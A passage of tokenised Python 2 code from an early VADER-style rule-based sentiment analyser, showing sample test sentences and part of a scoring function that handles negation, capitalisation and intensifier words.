")_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "The", " ", "plot", " ", "was", " ", "good", ",", " ", "but", " ", "the", " ", "character", "s", " ", "are", " ", "uncom", "pell", "ing", " ", "and", " ", "the", " ", "dialog", " ", "is", " ", "not", " ", "great", ".\"_", ",_", "#", " ", "mixed", " ", "negati", "on", " ", "sentence_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "A", " ", "reall", "y", " ", "bad", ",", " ", "hor", "rib", "le", " ", "book", ".\"_", ",_", "#", " ", "negati", "ve", " ", "sentence", " ", "with", " ", "boost", "er", " ", "words_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "At", " ", "leas", "t", " ", "it", " ", "isn", "'", "t", " ", "a", " ", "hor", "rib", "le", " ", "book", ".\"_", ",_", "#", " ", "negate", "d", " ", "negati", "ve", " ", "sentence", " ", "with", " ", "contract", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\":", ")", " ", "and", " ", ":", "D", "\"_", ",_", "#", " ", "emot", "icons", " ", "handled_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"\"_", ",_", "#", " ", "an", " ", "empty", " ", "string", " ", "is", " ", "correct", "ly", " ", "handled_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "Today", " ", "su", "x", "\"_", ",_", "#", " ", " ", "negati", "ve", " ", "sla", "ng", " ", "handled_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "Today", " ", "su", "x", "!\"_", ",_", "#", " ", " ", "negati", "ve", " ", "sla", "ng", " ", "with", " ", "punct", "uation", " ", "empha", "sis", " ", "handled_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "Today", " ", "SU", "X", "!\"_", ",_", "#", " ", " ", "negati", "ve", " ", "sla", "ng", " ", "with", " ", "capitaliz", "ation", " ", "empha", "sis_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "Today", " ", "kind", "a", " ", "su", "x", "!", " ", "Bu", "t", " ", "I", "'", "ll", " ", "get", " ", "by", ",", " ", "lol", "\"_", "#", " ", "mixed", " ", "sentiment", " ", "example", " ", "with", " ", "sla", "ng", " ", "and", " ", "constr", "asti", "ve", " ", "conjunction", " ", "\"", "but", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "paragraph_", "=_", "\"", "It", " ", "was", " ", "one", " ", "of", " ", "the", " ", "worst", " ", "movie", "s", " ", "I", "'", "ve", " ", "see", "n", ",", " ", "desp", "ite", " ", "good", " ", "review", "s", ".", " ", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "Unb", "eli", "eva", "bly", " ", "bad", " ", "actin", "g", "!!", " ", "Poo", "r", " ", "direction", ".", " ", "VERY", " ", "poo", "r", " ", "producti", "on", ".", " ", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "movie", " ", "was", " ", "bad", ".", " ", "Ver", "y", " ", "bad", " ", "movie", ".", " ", "VERY", " ", "bad", " ", "movie", ".", " ", "VERY", " ", "BAD", " ", "movie", ".", " ", "VERY", " ", "BAD", " ", "movie", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "nltk_", "import_", "tokenize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines", "\\u", "list_", "=_", "tokenize_", "._", "sent", "\\u", "tokenize_", "(_", "paragraph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sentences_", "._", "extend_", "(_", "lines", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trick", "y", "\\u", "sentences_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mos", "t", " ", "automat", "ed", " ", "sentiment", " ", "analys", "is", " ", "tool", "s", " ", "are", " ", "shi", "t", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "VA", "DER", " ", "sentiment", " ", "analys", "is", " ", "is", " ", "the", " ", "shi", "t", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Senti", "ment", " ", "analys", "is", " ", "has", " ", "neve", "r", " ", "bee", "n", " ", "good", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Senti", "ment", " ", "analys", "is", " ", "with", " ", "VA", "DER", " ", "has", " ", "neve", "r", " ", "bee", "n", " ", "this", " ", "good", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "War", "ren", " ", "Beat", "ty", " ", "has", " ", "neve", "r", " ", "bee", "n", " ", "so", " ", "enter", "tain", "ing", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "I", " ", "won", "'", "t", " ", "say", " ", "tha", "t", " ", "the", " ", "movie", " ", "is", " ", "ast", "ound", "ing", " ", "and", " ", "I", " ", "wou", "ld", "n", "'", "t", " ", "claim", " ", "tha", "t", " ", "the", " ", "movie", " ", "is", " ", "too", " ", "ban", "al", " ", "eit", "her", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "I", " ", "like", " ", "to", " ", "hat", "e", " ", "Mich", "ael", " ", "Ba", "y", " ", "film", "s", ",", " ", "but", " ", "I", " ", "coul", "dn", "'", "t", " ", "fault", " ", "this", " ", "one", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "It", "'", "s", " ", "one", " ", "thing", " ", "to", " ", "watch", " ", "an", " ", "U", "we", " ", "Bol", "l", " ", "film", ",", " ", "but", " ", "anot", "her", " ", "thing", " ", "entire", "ly", " ", "to", " ", "pay", " ", "for", " ", "it", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "The", " ", "movie", " ", "was", " ", "too", " ", "good", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Thi", "s", " ", "movie", " ", "was", " ", "actual", "ly", " ", "nei", "ther", " ", "tha", "t", " ", "funn", "y", ",", " ", "nor", " ", "super", " ", "wit", "ty", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Thi", "s", " ", "movie", " ", "doe", "sn", "'", "t", " ", "care", " ", "abo", "ut", " ", "clev", "ern", "ess", ",", " ", "wit", " ", "or", " ", "any", " ", "other", " ", "kind", " ", "of", " ", "intelligen", "t", " ", "hum", "or", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Tho", "se", " ", "who", " ", "find", " ", "ug", "ly", " ", "meaning", "s", " ", "in", " ", "beautif", "ul", " ", "thing", "s", " ", "are", " ", "corrupt", " ", "with", "out", " ", "bei", "ng", " ", "charm", "ing", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "There", " ", "are", " ", "slow", " ", "and", " ", "repe", "titi", "ve", " ", "part", "s", ",", " ", "BUT", " ", "it", " ", "has", " ", "just", " ", "eno", "ugh", " ", "spice", " ", "to", " ", "keep", " ", "it", " ", "interesting", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "The", " ", "script", " ", "is", " ", "not", " ", "fantas", "tic", ",", " ", "but", " ", "the", " ", "actin", "g", " ", "is", " ", "dece", "nt", " ", "and", " ", "the", " ", "cine", "mat", "ograph", "y", " ", "is", " ", "EXCE", "LLE", "NT", "!\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ro", "ger", " ", "Dod", "ger", " ", "is", " ", "one", " ", "of", " ", "the", " ", "most", " ", "comp", "elli", "ng", " ", "variations", " ", "on", " ", "this", " ", "them", "e", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ro", "ger", " ", "Dod", "ger", " ", "is", " ", "one", " ", "of", " ", "the", " ", "leas", "t", " ", "comp", "elli", "ng", " ", "variations", " ", "on", " ", "this", " ", "them", "e", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ro", "ger", " ", "Dod", "ger", " ", "is", " ", "at", " ", "leas", "t", " ", "comp", "elli", "ng", " ", "as", " ", "a", " ", "variatio", "n", " ", "on", " ", "the", " ", "them", "e", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "the", "y", " ", "fall", " ", "in", " ", "love", " ", "with", " ", "the", " ", "product", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "but", " ", "then", " ", "it", " ", "breaks", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "usual", "ly", " ", "aro", "und", " ", "the", " ", "time", " ", "the", " ", "90", " ", "day", " ", "warr", "ant", "y", " ", "expir", "es", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "the", " ", "twin", " ", "tower", "s", " ", "collapsed", " ", "toda", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ho", "we", "ver", ",", " ", "Mr", ".", " ", "Cart", "er", " ", "sole", "mn", "ly", " ", "argu", "es", ",", " ", "his", " ", "client", " ", "carri", "ed", " ", "out", " ", "the", " ", "kid", "nap", "ping", " ", "under", " ", "order", "s", " ", "and", " ", "in", " ", "the", " ", "''", "leas", "t", " ", "offen", "sive", " ", "way", " ", "possib", "le", ".'", "'\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sentences_", "._", "extend_", "(_", "trick", "y", "\\u", "sentences_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sentence_", "in_", "sentences_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "sentence_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ss_", "=_", "sentiment", "_", "(_", "sentence_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\"_", "+_", "str_", "(_", "ss_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"\\\\", "n", "\\\\", "n", " ", "Don", "e", "!\"_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sentiment", "_", "(_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "float", " ", "for", " ", "sentiment", " ", "streng", "th", " ", "based", " ", "on", " ", "the", " ", "input", " ", "text", ".", "\\", "10", ";", " ", " ", " ", " ", "Posi", "tiv", "e", " ", "values", " ", "are", " ", "posit", "ive", " ", "valence", ",", " ", "negati", "ve", " ", "value", " ", "are", " ", "negati", "ve", " ", "valence", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "text_", ",_", "unicode_", ")_", "and_", "not_", "isinstance_", "(_", "text_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "str_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "words", "And", "Emo", "tic", "ons_", "=_", "text_", "._", "split_", "(_", ")_", "#", "doe", "sn", "'", "t", " ", "separate", " ", "words", " ", "from", " ", "adjacent", " ", "punct", "uation", " ", "(", "keep", "s", " ", "emot", "icons", " ", "&", " ", "contract", "ion", "s", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text", "\\u", "mod_", "=_", "REGEX", "\\u", "REMOVE", "\\u", "PUN", "CTU", "ATION_", "._", "sub_", "(_", "''_", ",_", "text_", ")_", "#", " ", "remove", "s", " ", "punct", "uation", " ", "(", "but", " ", "lose", "s", " ", "emot", "icons", " ", "&", " ", "contract", "ion", "s", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "Only_", "=_", "text", "\\u", "mod_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "rid", " ", "of", " ", "empty", " ", "items", " ", "or", " ", "single", " ", "letter", " ", "\"", "words", "\"", " ", "like", " ", "'", "a", "'", " ", "and", " ", "'", "I", "'", " ", "from", " ", "words", "Only_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "word_", "in_", "words", "Only_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "word_", ")_", "<=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words", "Only_", "._", "remove_", "(_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "now", " ", "remove", " ", "adjacent", " ", "&", " ", "redundant", " ", "punct", "uation", " ", "from", " ", "[", "words", "And", "Emo", "tic", "ons", "]", " ", "whi", "le", " ", "keep", "ing", " ", "emot", "icons", " ", "and", " ", "contract", "ions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "word_", "in_", "words", "Only_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "p_", "in_", "PUN", "C", "\\u", "LIST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pw", "ord_", "=_", "p_", "+_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x1_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "count_", "(_", "pw", "ord_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "x1_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "index_", "(_", "pw", "ord_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "And", "Emo", "tic", "ons_", "._", "remove_", "(_", "pw", "ord_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "And", "Emo", "tic", "ons_", "._", "insert_", "(_", "i_", ",_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x1_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "count_", "(_", "pw", "ord_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "word", "p_", "=_", "word_", "+_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x2_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "count_", "(_", "word", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "x2_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "index_", "(_", "word", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "And", "Emo", "tic", "ons_", "._", "remove_", "(_", "word", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "And", "Emo", "tic", "ons_", "._", "insert_", "(_", "i_", ",_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x2_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "count_", "(_", "word", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "rid", " ", "of", " ", "residu", "al", " ", "empty", " ", "items", " ", "or", " ", "single", " ", "letter", " ", "\"", "words", "\"", " ", "like", " ", "'", "a", "'", " ", "and", " ", "'", "I", "'", " ", "from", " ", "words", "And", "Emo", "tic", "ons_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "word_", "in_", "words", "And", "Emo", "tic", "ons_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "word_", ")_", "<=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words", "And", "Emo", "tic", "ons_", "._", "remove_", "(_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "stopword", "s", " ", "from", " ", "[", "words", "And", "Emo", "tic", "ons", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "stopword", "s", " ", "=", " ", "[", "str", "(", "word", ").", "strip", "()", " ", "for", " ", "word", " ", "in", " ", "open", "('", "stopword", "s", ".", "txt", "')]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "word", " ", "in", " ", "words", "And", "Emo", "tic", "ons", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "word", " ", "in", " ", "stopword", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "words", "And", "Emo", "tic", "ons", ".", "remove", "(", "word", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "negati", "on_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "Cap", "\\u", "diff_", "=_", "is", "ALL", "CAP", "\\u", "differential", "_", "(_", "words", "And", "Emo", "tic", "ons_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sentiment", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "words", "And", "Emo", "tic", "ons_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "index_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "i_", "<_", "len_", "(_", "words", "And", "Emo", "tic", "ons_", ")_", "-_", "1_", "and_", "item_", "._", "lower_", "(_", ")_", "==_", "\"", "kind", "\"_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "+_", "1_", "]_", "._", "lower_", "(_", ")_", "==_", "\"", "of", "\"_", ")_", "or_", "item_", "._", "lower_", "(_", ")_", "in_", "BOO", "STE", "R", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sentiment", "s_", "._", "append_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "item", "\\u", "lowercase_", "=_", "item_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "item", "\\u", "lowercase_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "the", " ", "sentiment", " ", "valence", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "float_", "(_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", "[_", "item", "\\u", "lowercase_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "if", " ", "sentiment", " ", "lad", "en", " ", "word", " ", "is", " ", "in", " ", "ALL", "CAPS", " ", "(", "whi", "le", " ", "other", "s", " ", "are", "n", "'", "t", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "item_", "._", "isupper", "_", "(_", ")_", "and_", "is", "Cap", "\\u", "diff_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "v_", ">_", "0_", ":_", "v_", "+=_", "c\\u", "INC", "R_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "v_", "-=_", "c\\u", "INC", "R_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n", "\\u", "scalar_", "=_", "-_", "0.74", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", ">_", "0_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "not_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s1_", "=_", "scala", "r", "\\u", "inc", "\\u", "dec_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", ",_", "v_", ",_", "is", "Cap", "\\u", "diff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "v_", "+_", "s1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "negate", "d_", "(_", "[_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "]_", ")_", ":_", "v_", "=_", "v_", "*_", "n", "\\u", "scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", ">_", "1_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "._", "lower_", "(_", ")_", "not_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s2_", "=_", "scala", "r", "\\u", "inc", "\\u", "dec_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", ",_", "v_", ",_", "is", "Cap", "\\u", "diff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s2_", "!=_", "0_", ":_", "s2_", "=_", "s2_", "*_", "0.95_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "v_", "+_", "s2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "special", " ", "use", " ", "of", " ", "'", "neve", "r", "'", " ", "as", " ", "valence", " ", "modifier", " ", "inst", "ead", " ", "of", " ", "negati", "on_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "==_", "\"", "neve", "r", "\"_", "and_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "==_", "\"", "so", "\"_", "or_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "==_", "\"", "this", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "v_", "*_", "1.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "other", "wis", "e", ",", " ", "check", " ", "for", " ", "negati", "on", "/", "null", "ificatio", "n_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "negate", "d_", "(_", "[_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "]_", ")_", ":_", "v_", "=_", "v_", "*_", "n", "\\u", "scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", ">_", "2_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", "._", "lower_", "(_", ")_", "not_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s3_", "=_", "scala", "r", "\\u", "inc", "\\u", "dec_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", ",_", "v_", ",_", "is", "Cap", "\\u", "diff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s3_", "!=_", "0_", ":_", "s3_", "=_", "s3_", "*_", "0.9_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "v_", "+_", "s3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "special", " ", "use", " ", "of", " ", "'", "neve", "r", "'", " ", "as", " ", "valence", " ", "modifier", " ", "inst", "ead", " ", "of", " ", "negati", "on_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", "==_", "\"", "neve", "r", "\"_", "and_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "==_", "\"", "so", "\"_", "or_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "==_", "\"", "this", "\"_", ")_", "or_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "==_", "\"", "so", "\"_", "or_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "==_", "\"", "this", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "v_", "*_", "1.25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "other", "wis", "e", ",", " ", "check", " ", "for", " ", "negati", "on", "/", "null", "ificatio", "n_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "negate", "d_", "(_", "[_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", "]_", ")_", ":_", "v_", "=_", "v_", "*_", "n", "\\u", "scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "future", " ", "work", ":", " ", "consider", " ", "other", " ", "sentiment", "-", "lad", "en", " ", "idiom", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", "other", "\\u", "idiom", "s", " ", "=", " ", "{", "\"", "back", " ", "hande", "d", "\":", " ", "-", "2", ",", " ", "\"", "blow", " ", "smoke", "\":", " ", "-", "2", ",", " ", "\"", "blow", "ing", " ", "smoke", "\":", " ", "-", "2", ",", " ", "\"", "upper", " ", "hand", "\":", " ", "1", ",", " ", "\"", "break", " ", "a", " ", "leg", "\":", " ", "2", ",", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "\"", "cook", "ing", " ", "with", " ", "gas", "\":", " ", "2", ",", " ", "\"", "in", " ", "the", " ", "black", "\":", " ", "2", ",", " ", "\"", "in", " ", "the", " ", "red", "\":", " ", "-", "2", ",", " ", "\"", "on", " ", "the", " ", "bal", "l", "\":", " ", "2", ",\"", "under", " ", "the", " ", "wea", "ther", "\":", " ", "-", "2", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "one", "zero_", "=_", "u", "\"{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "two", "one", "zero_", "=_", "u", "\"{}", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "two", "one_", "=_", "u", "\"{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "three", "two", "one_", "=_", "u", "\"{}", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", ")_", 